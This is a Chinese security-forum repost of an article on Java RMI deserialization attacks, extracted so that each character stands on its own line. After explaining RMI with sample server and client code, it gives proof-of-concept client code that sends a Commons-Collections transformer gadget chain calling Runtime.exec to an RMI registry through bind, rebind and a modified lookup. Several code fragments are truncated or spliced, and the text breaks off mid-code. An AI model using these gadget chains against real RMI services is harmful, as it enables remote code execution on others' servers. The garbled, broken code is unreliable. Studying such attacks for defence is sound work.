论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
逆向
[1896] 2021-08-25_Java安全之RMI反序列化
文档创建者:
s7ckTeam
浏览次数:
6
最后更新:
2025-01-16
逆向
6 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-56
6万
主题
-6万
回帖
-56
积分
管理员
积分
-56
发消息
2021-08-25_Java安全之RMI反序列化
J
a
v
a
安
全
之
R
M
I
反
序
列
化
g
h
t
w
f
0
1
D
a
y
1
安
全
团
队
2
0
2
1
-
0
8
-
2
5
什
么
是
什
么
是
R
M
I
R
M
I
是
远
程
方
法
调
用
的
简
称
,
能
够
帮
助
我
们
查
找
并
执
行
远
程
对
象
的
方
法
。
通
俗
地
说
,
远
程
调
用
就
象
将
一
个
c
l
a
s
s
放
在
A
机
器
上
,
然
后
在
B
机
器
中
调
用
这
个
c
l
a
s
s
的
方
法
。
R
M
I
(
R
e
m
o
t
e
M
e
t
h
o
d
I
n
v
o
c
a
t
i
o
n
)
,
为
远
程
方
法
调
用
,
是
允
许
运
行
在
一
个
J
a
v
a
虚
拟
机
的
对
象
调
用
运
行
在
另
一
个
J
a
v
a
虚
拟
机
上
的
对
象
的
方
法
。
这
两
个
虚
拟
机
可
以
是
运
行
在
相
同
计
算
机
上
的
不
同
进
程
中
,
也
可
以
是
运
行
在
网
络
上
的
不
同
计
算
机
中
。
J
a
v
a
R
M
I
(
J
a
v
a
R
e
m
o
t
e
M
e
t
h
o
d
I
n
v
o
c
a
t
i
o
n
)
,
是
J
a
v
a
编
程
语
言
里
一
种
用
于
实
现
远
程
过
程
调
用
的
应
用
程
序
编
程
接
口
。
它
使
客
户
机
上
运
行
的
程
序
可
以
调
用
远
程
服
务
器
上
的
对
象
。
远
程
方
法
调
用
特
性
使
J
a
v
a
编
程
人
员
能
够
在
网
络
环
境
中
分
布
操
作
。
R
M
I
全
部
的
宗
旨
就
是
尽
可
能
简
化
远
程
接
口
对
象
的
使
用
。
从
客
户
端
-
服
务
器
模
型
来
看
,
客
户
端
程
序
直
接
调
用
服
务
端
,
两
者
之
间
是
通
过
J
R
M
P
(
J
a
v
a
R
e
m
o
t
e
M
e
t
h
o
d
P
r
o
t
o
c
o
l
)
协
议
通
信
,
这
个
协
议
类
似
于
H
T
T
P
协
议
,
规
定
了
客
户
端
和
服
务
端
通
信
要
满
足
的
规
范
。
在
R
M
I
中
对
象
是
通
过
序
列
化
方
式
进
行
编
码
传
输
的
R
M
I
分
为
三
个
主
体
部
分
:
C
l
i
e
n
t
-
客
户
端
:
客
户
端
调
用
服
务
端
的
方
法
S
e
r
v
e
r
-
服
务
端
:
远
程
调
用
方
法
对
象
的
提
供
者
,
也
是
代
码
真
正
执
行
的
地
方
,
执
行
结
束
会
返
回
给
客
户
端
一
个
方
法
执
行
的
结
果
R
e
g
i
s
t
r
y
-
注
册
中
心
:
其
实
本
质
就
是
一
个
m
a
p
,
相
当
于
是
字
典
一
样
,
用
于
客
户
端
查
询
要
调
用
的
方
法
的
引
用
,
在
低
版
本
的
J
D
K
中
,
S
e
r
v
e
r
与
R
e
g
i
s
t
r
y
是
可
以
不
在
一
台
服
务
器
上
的
,
而
在
高
版
本
的
J
D
K
中
,
S
e
r
v
e
r
与
R
e
g
i
s
t
r
y
只
能
在
一
台
服
务
器
上
,
否
则
无
法
注
册
成
功
总
体
R
M
I
的
调
用
实
现
目
的
就
是
调
用
远
程
机
器
的
类
跟
调
用
一
个
写
在
自
己
的
本
地
的
类
一
样
唯
一
区
别
就
是
R
M
I
服
务
端
提
供
的
方
法
,
被
调
用
的
时
候
该
方
法
是
执
行
在
服
务
端
R
M
I
交
互
过
程
交
互
过
程
如
图
所
示
R
M
I
客
户
端
与
服
务
端
实
现
客
户
端
与
服
务
端
实
现
1
.
服
务
端
编
写
一
个
远
程
接
口
这
个
接
口
需
要
使
用
p
u
b
l
i
c
声
明
,
否
则
客
户
端
在
尝
试
加
载
实
现
远
程
接
口
的
远
程
对
象
时
会
出
错
。
(
如
果
客
户
端
、
服
务
端
放
一
起
没
关
系
)
同
时
需
要
继
承
R
e
m
o
t
e
类
接
口
的
方
法
需
要
声
明
j
a
v
a
.
r
m
i
.
R
e
m
o
t
e
E
x
c
e
p
t
i
o
n
报
错
服
务
端
实
现
这
个
远
程
接
口
这
个
实
现
类
需
要
实
现
远
程
接
口
继
承
U
n
i
c
a
s
t
R
e
m
o
t
e
O
b
j
e
c
t
类
,
貌
似
继
承
了
之
后
会
使
用
默
认
s
o
c
k
e
t
进
行
通
讯
,
并
且
该
实
现
类
会
一
直
运
行
在
服
务
器
上
(
如
果
不
继
承
U
n
i
c
a
s
t
R
e
m
o
t
e
O
b
j
e
c
t
类
,
则
需
要
手
工
初
始
化
远
程
对
象
,
在
远
程
对
象
的
构
造
方
法
的
调
用
U
n
i
c
a
s
t
R
e
m
o
t
e
O
b
j
e
c
t
.
e
x
p
o
r
t
O
b
j
e
c
t
(
)
静
态
方
法
)
构
造
函
数
需
要
抛
出
一
个
R
e
m
o
t
e
E
x
c
e
p
t
i
o
n
错
误
实
现
类
中
使
用
的
对
象
必
须
都
可
序
列
化
,
即
都
继
承
j
a
v
a
.
i
o
.
S
e
r
i
a
l
i
z
a
b
l
e
注
册
远
程
对
象
关
于
绑
定
的
地
址
很
多
地
方
会
r
m
i
:
/
/
i
p
:
p
o
r
t
/
O
b
j
e
c
t
n
a
m
e
的
形
式
,
实
际
上
看
r
e
b
i
n
d
源
码
就
知
道
R
M
I
:
写
不
写
都
行
,
p
o
r
t
如
果
默
认
是
1
0
9
9
,
不
写
会
自
动
补
上
,
其
他
端
口
必
须
写
那
么
服
务
端
就
部
署
好
了
,
来
看
客
户
端
2
.
客
户
端
部
署
那
么
先
运
行
服
务
端
,
再
运
行
客
户
端
,
就
可
以
完
成
调
用
R
M
I
反
序
列
化
的
攻
击
方
式
反
序
列
化
的
攻
击
方
式
攻
击
注
册
中
心
我
们
与
注
册
中
心
进
行
交
互
可
以
使
用
如
下
几
种
方
式
l
i
s
t
i
m
p
o
r
t
j
a
v
a
.
r
m
i
.
R
e
m
o
t
e
;
i
m
p
o
r
t
j
a
v
a
.
r
m
i
.
R
e
m
o
t
e
E
x
c
e
p
t
i
o
n
;
p
u
b
l
i
c
i
n
t
e
r
f
a
c
e
r
m
i
e
x
t
e
n
d
s
R
e
m
o
t
e
{
p
u
b
l
i
c
S
t
r
i
n
g
h
e
l
l
o
(
)
t
h
r
o
w
s
R
e
m
o
t
e
E
x
c
e
p
t
i
o
n
;
}
i
m
p
o
r
t
j
a
v
a
.
r
m
i
.
R
e
m
o
t
e
E
x
c
e
p
t
i
o
n
;
i
m
p
o
r
t
j
a
v
a
.
r
m
i
.
s
e
r
v
e
r
.
U
n
i
c
a
s
t
R
e
m
o
t
e
O
b
j
e
c
t
;
p
u
b
l
i
c
c
l
a
s
s
R
e
m
o
t
e
C
l
a
s
s
e
x
t
e
n
d
s
U
n
i
c
a
s
t
R
e
m
o
t
e
O
b
j
e
c
t
i
m
p
l
e
m
e
n
t
s
r
m
i
0
{
p
u
b
l
i
c
R
e
m
o
t
e
C
l
a
s
s
(
)
t
h
r
o
w
s
S
y
s
t
e
m
.
o
u
t
.
p
r
i
n
t
l
n
(
"
构
造
方
法
"
)
;
}
p
u
b
l
i
c
S
t
r
i
n
g
h
e
l
l
o
(
)
t
h
r
o
w
s
R
e
m
o
t
e
E
x
c
e
p
t
i
o
n
{
S
y
s
t
e
m
.
o
u
t
.
p
r
i
n
t
l
n
(
"
h
e
l
l
o
,
w
o
r
l
d
"
)
;
r
e
t
u
r
n
"
h
e
l
l
o
,
w
o
r
l
d
"
;
}
}
i
m
p
o
r
t
j
a
v
a
.
r
m
i
.
R
e
m
o
t
e
E
x
c
e
p
t
i
o
n
;
i
m
p
o
r
t
j
a
v
a
.
r
m
i
.
r
e
g
i
s
t
r
y
.
L
o
c
a
t
e
R
e
g
i
s
t
r
y
;
i
m
p
o
r
t
j
a
v
a
.
r
m
i
.
r
e
g
i
s
t
r
y
.
R
e
g
i
s
t
r
y
;
p
u
b
l
i
c
c
l
a
s
s
S
e
r
v
e
r
{
p
u
b
l
i
c
s
t
a
t
i
c
v
o
i
d
m
a
i
n
(
S
t
r
i
n
g
[
]
a
r
g
s
)
t
h
r
o
w
s
R
e
m
o
t
e
E
x
c
e
p
t
i
o
n
{
r
m
i
h
e
l
l
o
=
n
e
w
R
e
m
o
t
e
C
l
a
s
s
(
)
;
R
e
g
i
s
t
r
y
r
e
g
i
s
t
r
y
=
L
o
c
a
t
e
R
e
g
i
s
t
r
y
.
c
r
e
a
t
e
R
e
g
i
s
t
r
y
(
1
0
9
9
)
;
/
/
创
建
注
册
表
r
e
g
i
s
t
r
y
.
r
e
b
i
n
d
(
"
h
e
l
l
o
"
,
h
e
l
l
o
)
;
/
/
将
远
程
对
象
注
册
到
注
册
表
里
面
,
并
且
设
置
值
为
h
e
l
l
o
}
}
i
m
p
o
r
t
j
a
v
a
.
r
m
i
.
N
o
t
B
o
u
n
d
E
x
c
e
p
t
i
o
n
;
i
m
p
o
r
t
j
a
v
a
.
r
m
i
.
R
e
m
o
t
e
E
x
c
e
p
t
i
o
n
;
i
m
p
o
r
t
j
a
v
a
.
r
m
i
.
r
e
g
i
s
t
r
y
.
L
o
c
a
t
e
R
e
g
i
s
t
r
y
;
i
m
p
o
r
t
j
a
v
a
.
r
m
i
.
r
e
g
i
s
t
r
y
.
R
e
g
i
s
t
r
y
;
p
u
b
l
i
c
c
l
a
s
s
C
l
i
e
n
t
{
p
u
b
l
i
c
s
t
a
t
i
c
v
o
i
d
m
a
i
n
(
S
t
r
i
n
g
[
]
a
r
g
s
)
t
h
r
o
w
s
R
e
m
o
t
e
E
x
c
e
p
t
i
o
n
,
N
o
t
B
o
u
n
d
E
x
c
e
p
t
i
o
n
{
R
e
g
i
s
t
r
y
r
e
g
i
s
t
r
y
=
L
o
c
a
t
e
R
e
g
i
s
t
r
y
.
g
e
t
R
e
g
i
s
t
r
y
(
"
1
2
7
.
0
.
0
.
1
"
,
1
0
9
9
)
;
/
/
获
取
远
程
主
机
对
象
/
/
利
用
注
册
表
的
代
理
去
查
询
远
程
注
册
表
中
名
为
h
e
l
l
o
的
对
象
R
e
m
o
t
e
C
l
a
s
s
h
e
l
l
o
=
(
R
e
m
o
t
e
C
l
a
s
s
)
r
e
g
i
s
t
r
y
.
l
o
o
k
u
p
(
"
h
e
l
l
o
"
)
;
/
/
调
用
远
程
方
法
S
y
s
t
e
m
.
o
u
t
.
p
r
i
n
t
l
n
(
h
e
l
l
o
.
h
e
l
l
o
(
)
)
;
}
}
b
i
n
d
r
e
b
i
n
d
u
n
b
i
n
d
l
o
o
k
u
p
这
几
种
方
法
位
于
R
e
g
i
s
t
r
y
I
m
p
l
_
S
k
e
l
#
d
i
s
p
a
t
c
h
中
,
如
果
存
在
r
e
a
d
O
b
j
e
c
t
,
则
可
以
利
用
(
具
体
流
程
分
析
可
以
参
考
p
1
g
3
师
傅
的
过
程
h
t
t
p
s
:
/
/
p
a
y
l
o
a
d
s
.
i
n
f
o
/
2
0
2
0
/
0
6
/
2
1
/
J
a
v
a
%
E
5
%
A
E
%
8
9
%
E
5
%
8
5
%
A
8
-
R
M
I
-
%
E
5
%
A
D
%
A
6
%
E
4
%
B
9
%
A
0
%
E
6
%
8
0
%
B
B
%
E
7
%
B
B
%
9
3
/
#
%
E
6
%
B
A
%
9
0
%
E
7
%
A
0
%
8
1
%
E
5
%
8
8
%
8
6
%
E
6
%
9
E
%
9
0
)
d
i
s
p
a
t
c
h
里
面
对
应
关
系
如
下
0
-
>
b
i
n
d
1
-
>
l
i
s
t
2
-
>
l
o
o
k
u
p
3
-
>
r
e
b
i
n
d
4
-
>
u
n
b
i
n
d
l
i
s
t
这
里
没
有
r
e
a
d
O
b
j
e
c
t
所
以
无
法
利
用
b
i
n
d
&
r
e
b
i
n
d
当
调
用
b
i
n
d
时
,
会
用
r
e
a
d
O
b
j
e
c
t
读
出
参
数
名
以
及
远
程
对
象
,
此
时
则
可
以
利
用
当
调
用
r
e
b
i
n
d
时
,
会
用
r
e
a
d
O
b
j
e
c
t
读
出
参
数
名
和
远
程
对
象
,
这
里
和
b
i
n
d
是
一
样
的
,
所
以
都
可
以
利
用
如
果
服
务
端
存
在
c
c
1
相
关
组
件
漏
洞
,
那
么
就
可
以
使
用
反
序
列
化
攻
击
P
O
C
:
c
a
s
e
1
:
v
a
r
2
.
r
e
l
e
a
s
e
I
n
p
u
t
S
t
r
e
a
m
(
)
;
S
t
r
i
n
g
[
]
v
a
r
9
7
=
v
a
r
6
.
l
i
s
t
(
)
;
t
r
y
{
O
b
j
e
c
t
O
u
t
p
u
t
v
a
r
9
8
=
v
a
r
2
.
g
e
t
R
e
s
u
l
t
S
t
r
e
a
m
(
t
r
u
e
)
;
v
a
r
9
8
.
w
r
i
t
e
O
b
j
e
c
t
(
v
a
r
9
7
)
;
b
r
e
a
k
;
}
c
a
t
c
h
(
I
O
E
x
c
e
p
t
i
o
n
v
a
r
9
2
)
{
t
h
r
o
w
n
e
w
M
a
r
s
h
a
l
E
x
c
e
p
t
i
o
n
(
"
e
r
r
o
r
m
a
r
s
h
a
l
l
i
n
g
r
e
t
u
r
n
"
,
v
a
r
9
2
)
;
}
c
a
s
e
0
:
t
r
y
{
v
a
r
1
1
=
v
a
r
2
.
g
e
t
I
n
p
u
t
S
t
r
e
a
m
(
)
;
v
a
r
7
=
(
S
t
r
i
n
g
)
v
a
r
1
1
.
r
e
a
d
O
b
j
e
c
t
(
)
;
v
a
r
8
=
(
R
e
m
o
t
e
)
v
a
r
1
1
.
r
e
a
d
O
b
j
e
c
t
(
)
;
}
R
e
m
o
t
e
.
c
l
a
s
s
.
c
a
s
t
这
里
实
际
上
是
将
一
个
代
理
对
象
转
换
为
了
R
e
m
o
t
e
对
象
u
n
b
i
n
d
&
l
o
o
k
u
p
i
m
p
o
r
t
o
r
g
.
a
p
a
c
h
e
.
c
o
m
m
o
n
s
.
c
o
l
l
e
c
t
i
o
n
s
.
T
r
a
n
s
f
o
r
m
e
r
;
i
m
p
o
r
t
o
r
g
.
a
p
a
c
h
e
.
c
o
m
m
o
n
s
.
c
o
l
l
e
c
t
i
o
n
s
.
f
u
n
c
t
o
r
s
.
C
h
a
i
n
e
d
T
r
a
n
s
f
o
r
m
e
r
;
i
m
p
o
r
t
o
r
g
.
a
p
a
c
h
e
.
c
o
m
m
o
n
s
.
c
o
l
l
e
c
t
i
o
n
s
.
f
u
n
c
t
o
r
s
.
C
o
n
s
t
a
n
t
T
r
a
n
s
f
o
r
m
e
r
;
i
m
p
o
r
t
o
r
g
.
a
p
a
c
h
e
.
c
o
m
m
o
n
s
.
c
o
l
l
e
c
t
i
o
n
s
.
f
u
n
c
t
o
r
s
.
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
;
i
m
p
o
r
t
j
a
v
a
.
l
a
n
g
.
r
e
f
l
e
c
t
.
C
o
n
s
t
r
u
c
t
o
r
;
i
m
p
o
r
t
j
a
v
a
.
l
a
n
g
.
r
e
f
l
e
c
t
.
I
n
v
o
c
a
t
i
o
n
H
a
n
d
l
e
r
;
i
m
p
o
r
t
j
a
v
a
.
l
a
n
g
.
r
e
f
l
e
c
t
.
P
r
o
x
y
;
i
m
p
o
r
t
j
a
v
a
.
r
m
i
.
R
e
m
o
t
e
;
i
m
p
o
r
t
j
a
v
a
.
r
m
i
.
r
e
g
i
s
t
r
y
.
L
o
c
a
t
e
R
e
g
i
s
t
r
y
;
i
m
p
o
r
t
j
a
v
a
.
r
m
i
.
r
e
g
i
s
t
r
y
.
R
e
g
i
s
t
r
y
;
i
m
p
o
r
t
j
a
v
a
.
u
t
i
l
.
H
a
s
h
M
a
p
;
i
m
p
o
r
t
j
a
v
a
.
u
t
i
l
.
M
a
p
;
p
u
b
l
i
c
c
l
a
s
s
C
l
i
e
n
t
{
p
u
b
l
i
c
s
t
a
t
i
c
v
o
i
d
m
a
i
n
(
S
t
r
i
n
g
[
]
a
r
g
s
)
t
h
r
o
w
s
E
x
c
e
p
t
i
o
n
{
C
h
a
i
n
e
d
T
r
a
n
s
f
o
r
m
e
r
c
h
a
i
n
=
n
e
w
C
h
a
i
n
e
d
T
r
a
n
s
f
o
r
m
e
r
(
n
e
w
T
r
a
n
s
f
o
r
m
e
r
[
]
{
n
e
w
C
o
n
s
t
a
n
t
T
r
a
n
s
f
o
r
m
e
r
(
R
u
n
t
i
m
e
.
c
l
a
s
s
)
,
n
e
w
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
(
"
g
e
t
M
e
t
h
o
d
"
,
n
e
w
C
l
a
s
s
[
]
{
S
t
r
i
n
g
.
c
l
a
s
s
,
C
l
a
s
s
[
]
.
c
l
a
s
s
}
,
n
e
w
O
b
j
e
c
t
[
]
{
"
g
e
t
R
u
n
t
i
m
e
"
,
n
e
w
C
l
a
s
s
[
n
e
w
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
(
"
i
n
v
o
k
e
"
,
n
e
w
C
l
a
s
s
[
]
{
O
b
j
e
c
t
.
c
l
a
s
s
,
O
b
j
e
c
t
[
]
.
c
l
a
s
s
}
,
n
e
w
O
b
j
e
c
t
[
]
{
M
a
p
p
r
o
x
y
_
m
a
p
=
(
M
a
p
)
P
r
o
x
y
.
n
e
w
P
r
o
x
y
I
n
s
t
a
n
c
e
(
C
l
a
s
s
L
o
a
d
e
r
.
g
e
t
S
y
s
t
e
m
C
l
a
s
s
L
o
a
d
e
r
(
)
,
C
o
n
s
t
r
u
c
t
o
r
A
n
n
o
t
a
t
i
o
n
I
n
v
o
c
a
t
i
o
n
H
a
n
d
l
e
r
_
C
o
n
s
t
r
u
c
t
o
r
=
C
l
a
s
s
.
f
o
r
N
a
m
e
(
这
里
也
有
r
e
a
d
O
b
j
e
c
t
,
但
是
和
b
i
n
d
以
及
r
e
b
i
n
d
不
一
样
的
是
只
能
传
入
S
t
r
i
n
g
类
型
,
这
里
我
们
可
以
通
过
伪
造
连
接
请
求
进
行
利
用
,
修
改
l
o
o
k
u
p
方
法
代
码
使
其
可
以
传
入
对
象
,
原
先
的
l
o
o
k
u
p
方
法
R
e
g
i
s
t
r
y
_
S
t
u
b
#
l
o
o
k
u
p
c
a
s
e
2
:
t
r
y
{
v
a
r
1
0
=
v
a
r
2
.
g
e
t
I
n
p
u
t
S
t
r
e
a
m
(
)
;
v
a
r
7
=
(
S
t
r
i
n
g
)
v
a
r
1
0
.
r
e
a
d
O
b
j
e
c
t
(
)
;
}
c
a
t
c
h
(
I
O
E
x
c
e
p
t
i
o
n
v
a
r
8
9
)
{
t
h
r
o
w
n
e
w
U
n
m
a
r
s
h
a
l
E
x
c
e
p
t
i
o
n
(
"
e
r
r
o
r
u
n
m
a
r
s
h
a
l
l
i
n
g
a
r
g
u
m
e
n
t
s
"
,
v
a
r
8
9
)
;
}
c
a
t
c
h
(
C
l
a
s
s
N
o
t
F
o
u
n
d
E
x
c
e
p
t
i
o
n
v
a
r
9
0
)
{
t
h
r
o
w
n
e
w
U
n
m
a
r
s
h
a
l
E
x
c
e
p
t
i
o
n
(
"
e
r
r
o
r
u
n
m
a
r
s
h
a
l
l
i
n
g
a
r
g
u
m
e
n
t
s
"
,
v
a
r
9
0
)
;
}
f
i
n
a
l
l
y
{
v
a
r
2
.
r
e
l
e
a
s
e
I
n
p
u
t
S
t
r
e
a
m
(
)
;
}
v
a
r
8
=
v
a
r
6
.
l
o
o
k
u
p
(
v
a
r
7
)
;
c
a
s
e
4
:
t
r
y
{
v
a
r
1
0
=
v
a
r
2
.
g
e
t
I
n
p
u
t
S
t
r
e
a
m
(
)
;
v
a
r
7
=
(
S
t
r
i
n
g
)
v
a
r
1
0
.
r
e
a
d
O
b
j
e
c
t
(
)
;
}
c
a
t
c
h
(
I
O
E
x
c
e
p
t
i
o
n
v
a
r
8
1
)
{
t
h
r
o
w
n
e
w
U
n
m
a
r
s
h
a
l
E
x
c
e
p
t
i
o
n
(
"
e
r
r
o
r
u
n
m
a
r
s
h
a
l
l
i
n
g
a
r
g
u
m
e
n
t
s
"
,
v
a
r
8
1
)
;
}
c
a
t
c
h
(
C
l
a
s
s
N
o
t
F
o
u
n
d
E
x
c
e
p
t
i
o
n
v
a
r
8
2
)
{
t
h
r
o
w
n
e
w
U
n
m
a
r
s
h
a
l
E
x
c
e
p
t
i
o
n
(
"
e
r
r
o
r
u
n
m
a
r
s
h
a
l
l
i
n
g
a
r
g
u
m
e
n
t
s
"
,
v
a
r
8
2
)
;
}
f
i
n
a
l
l
y
{
v
a
r
2
.
r
e
l
e
a
s
e
I
n
p
u
t
S
t
r
e
a
m
(
)
;
}
v
a
r
6
.
u
n
b
i
n
d
(
v
a
r
7
)
;
P
O
C
如
下
:
p
u
b
l
i
c
R
e
m
o
t
e
l
o
o
k
u
p
(
S
t
r
i
n
g
v
a
r
1
)
t
h
r
o
w
s
A
c
c
e
s
s
E
x
c
e
p
t
i
o
n
,
N
o
t
B
o
u
n
d
E
x
c
e
p
t
i
o
n
,
R
e
m
o
t
e
E
x
c
e
p
t
i
o
n
{
t
r
y
{
R
e
m
o
t
e
C
a
l
l
v
a
r
2
=
s
u
p
e
r
.
r
e
f
.
n
e
w
C
a
l
l
(
t
h
i
s
,
o
p
e
r
a
t
i
o
n
s
,
2
,
4
9
0
5
9
1
2
8
9
8
3
4
5
6
4
7
0
7
1
L
)
;
t
r
y
{
O
b
j
e
c
t
O
u
t
p
u
t
v
a
r
3
=
v
a
r
2
.
g
e
t
O
u
t
p
u
t
S
t
r
e
a
m
(
)
;
v
a
r
3
.
w
r
i
t
e
O
b
j
e
c
t
(
v
a
r
1
)
;
}
c
a
t
c
h
(
I
O
E
x
c
e
p
t
i
o
n
v
a
r
1
8
)
{
t
h
r
o
w
n
e
w
M
a
r
s
h
a
l
E
x
c
e
p
t
i
o
n
(
"
e
r
r
o
r
m
a
r
s
h
a
l
l
i
n
g
a
r
g
u
m
e
n
t
s
"
,
v
a
r
1
8
)
;
}
s
u
p
e
r
.
r
e
f
.
i
n
v
o
k
e
(
v
a
r
2
)
;
R
e
m
o
t
e
v
a
r
2
3
;
t
r
y
{
O
b
j
e
c
t
I
n
p
u
t
v
a
r
6
=
v
a
r
2
.
g
e
t
I
n
p
u
t
S
t
r
e
a
m
(
)
;
v
a
r
2
3
=
(
R
e
m
o
t
e
)
v
a
r
6
.
r
e
a
d
O
b
j
e
c
t
(
)
;
}
c
a
t
c
h
(
I
O
E
x
c
e
p
t
i
o
n
v
a
r
1
5
)
{
t
h
r
o
w
n
e
w
U
n
m
a
r
s
h
a
l
E
x
c
e
p
t
i
o
n
(
"
e
r
r
o
r
u
n
m
a
r
s
h
a
l
l
i
n
g
r
e
t
u
r
n
"
,
v
a
r
1
5
)
;
}
c
a
t
c
h
(
C
l
a
s
s
N
o
t
F
o
u
n
d
E
x
c
e
p
t
i
o
n
v
a
r
1
6
)
{
t
h
r
o
w
n
e
w
U
n
m
a
r
s
h
a
l
E
x
c
e
p
t
i
o
n
(
"
e
r
r
o
r
u
n
m
a
r
s
h
a
l
l
i
n
g
r
e
t
u
r
n
"
,
v
a
r
1
6
)
;
}
f
i
n
a
l
l
y
{
s
u
p
e
r
.
r
e
f
.
d
o
n
e
(
v
a
r
2
)
;
}
r
e
t
u
r
n
v
a
r
2
3
;
}
c
a
t
c
h
(
R
u
n
t
i
m
e
E
x
c
e
p
t
i
o
n
v
a
r
1
9
)
{
t
h
r
o
w
v
a
r
1
9
;
}
c
a
t
c
h
(
R
e
m
o
t
e
E
x
c
e
p
t
i
o
n
v
a
r
2
0
)
{
t
h
r
o
w
v
a
r
2
0
;
}
c
a
t
c
h
(
N
o
t
B
o
u
n
d
E
x
c
e
p
t
i
o
n
v
a
r
2
1
)
{
t
h
r
o
w
v
a
r
2
1
;
}
c
a
t
c
h
(
E
x
c
e
p
t
i
o
n
v
a
r
2
2
)
{
t
h
r
o
w
n
e
w
U
n
e
x
p
e
c
t
e
d
E
x
c
e
p
t
i
o
n
(
"
u
n
d
e
c
l
a
r
e
d
c
h
e
c
k
e
d
e
x
c
e
p
t
i
o
n
"
,
v
a
r
2
2
)
;
}
}
i
m
p
o
r
t
o
r
g
.
a
p
a
c
h
e
.
c
o
m
m
o
n
s
.
c
o
l
l
e
c
t
i
o
n
s
.
T
r
a
n
s
f
o
r
m
e
r
;
i
m
p
o
r
t
o
r
g
.
a
p
a
c
h
e
.
c
o
m
m
o
n
s
.
c
o
l
l
e
c
t
i
o
n
s
.
f
u
n
c
t
o
r
s
.
C
h
a
i
n
e
d
T
r
a
n
s
f
o
r
m
e
r
;
i
m
p
o
r
t
o
r
g
.
a
p
a
c
h
e
.
c
o
m
m
o
n
s
.
c
o
l
l
e
c
t
i
o
n
s
.
f
u
n
c
t
o
r
s
.
C
o
n
s
t
a
n
t
T
r
a
n
s
f
o
r
m
e
r
;
i
m
p
o
r
t
o
r
g
.
a
p
a
c
h
e
.
c
o
m
m
o
n
s
.
c
o
l
l
e
c
t
i
o
n
s
.
f
u
n
c
t
o
r
s
.
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
;
i
m
p
o
r
t
s
u
n
.
r
m
i
.
s
e
r
v
e
r
.
U
n
i
c
a
s
t
R
e
f
;
i
m
p
o
r
t
j
a
v
a
.
i
o
.
O
b
j
e
c
t
O
u
t
p
u
t
;
i
m
p
o
r
t
j
a
v
a
.
l
a
n
g
.
r
e
f
l
e
c
t
.
C
o
n
s
t
r
u
c
t
o
r
;
i
m
p
o
r
t
j
a
v
a
.
l
a
n
g
.
r
e
f
l
e
c
t
.
F
i
e
l
d
;
i
m
p
o
r
t
j
a
v
a
.
l
a
n
g
.
r
e
f
l
e
c
t
.
I
n
v
o
c
a
t
i
o
n
H
a
n
d
l
e
r
;
i
m
p
o
r
t
j
a
v
a
.
l
a
n
g
.
r
e
f
l
e
c
t
.
P
r
o
x
y
;
i
m
p
o
r
t
j
a
v
a
.
r
m
i
.
R
e
m
o
t
e
;
i
m
p
o
r
t
j
a
v
a
.
r
m
i
.
r
e
g
i
s
t
r
y
.
L
o
c
a
t
e
R
e
g
i
s
t
r
y
;
i
m
p
o
r
t
j
a
v
a
.
r
m
i
.
r
e
g
i
s
t
r
y
.
R
e
g
i
s
t
r
y
;
i
m
p
o
r
t
j
a
v
a
.
r
m
i
.
s
e
r
v
e
r
.
O
p
e
r
a
t
i
o
n
;
i
m
p
o
r
t
j
a
v
a
.
r
m
i
.
s
e
r
v
e
r
.
R
e
m
o
t
e
C
a
l
l
;
i
m
p
o
r
t
j
a
v
a
.
r
m
i
.
s
e
r
v
e
r
.
R
e
m
o
t
e
O
b
j
e
c
t
;
i
m
p
o
r
t
j
a
v
a
.
u
t
i
l
.
H
a
s
h
M
a
p
;
i
m
p
o
r
t
j
a
v
a
.
u
t
i
l
.
M
a
p
;
p
u
b
l
i
c
c
l
a
s
s
C
l
i
e
n
t
{
p
u
b
l
i
c
s
t
a
t
i
c
v
o
i
d
m
a
i
n
(
S
t
r
i
n
g
[
]
a
r
g
s
)
t
h
r
o
w
s
E
x
c
e
p
t
i
o
n
{
C
h
a
i
n
e
d
T
r
a
n
s
f
o
r
m
e
r
c
h
a
i
n
=
n
e
w
C
h
a
i
n
e
d
T
r
a
n
s
f
o
r
m
e
r
(
n
e
w
T
r
a
n
s
f
o
r
m
e
r
[
]
{
n
e
w
C
o
n
s
t
a
n
t
T
r
a
n
s
f
o
r
m
e
r
(
R
u
n
t
i
m
e
.
c
l
a
s
s
)
,
n
e
w
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
(
"
g
e
t
M
e
t
h
o
d
"
,
n
e
w
C
l
a
s
s
[
]
{
S
t
r
i
n
g
.
c
l
a
s
s
,
C
l
a
s
s
[
]
.
c
l
a
s
s
}
,
n
e
w
O
b
j
e
c
t
[
]
{
"
g
e
t
R
u
n
t
i
m
e
"
,
n
e
w
C
l
a
s
s
[
0
]
}
)
,
n
e
w
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
(
"
i
n
v
o
k
e
"
,
n
e
w
C
l
a
s
s
[
]
{
O
b
j
e
c
t
.
c
l
a
s
s
,
O
b
j
e
c
t
[
]
.
c
l
a
s
s
}
,
n
e
w
O
b
j
e
c
t
[
]
{
n
u
l
l
,
n
e
w
O
b
j
e
c
t
[
0
]
}
)
,
n
e
w
I
n
v
o
k
e
r
T
r
a
n
s
f
o
r
m
e
r
(
"
e
x
e
c
"
,
n
e
w
C
l
a
s
s
[
]
{
S
t
r
i
n
g
.
c
l
a
s
s
}
,
n
e
w
O
b
j
e
c
t
[
]
{
"
o
p
e
n
/
S
y
s
t
e
m
/
A
p
p
l
i
c
a
t
i
o
n
s
/
C
a
l
c
u
l
a
t
o
r
.
a
p
p
"
H
a
s
h
M
a
p
i
n
n
e
r
m
a
p
=
n
e
w
H
a
s
h
M
a
p
(
)
;
C
l
a
s
s
c
l
a
z
z
=
C
l
a
s
s
.
f
o
r
N
a
m
e
(
"
o
r
g
.
a
p
a
c
h
e
.
c
o
m
m
o
n
s
.
c
o
l
l
e
c
t
i
o
n
s
.
m
a
p
.
L
a
z
y
M
a
p
"
)
;
C
o
n
s
t
r
u
c
t
o
r
[
]
c
o
n
s
t
r
u
c
t
o
r
s
=
c
l
a
z
z
.
g
e
t
D
e
c
l
a
r
e
d
C
o
n
s
t
r
u
c
t
o
r
s
(
)
;
C
o
n
s
t
r
u
c
t
o
r
c
o
n
s
t
r
u
c
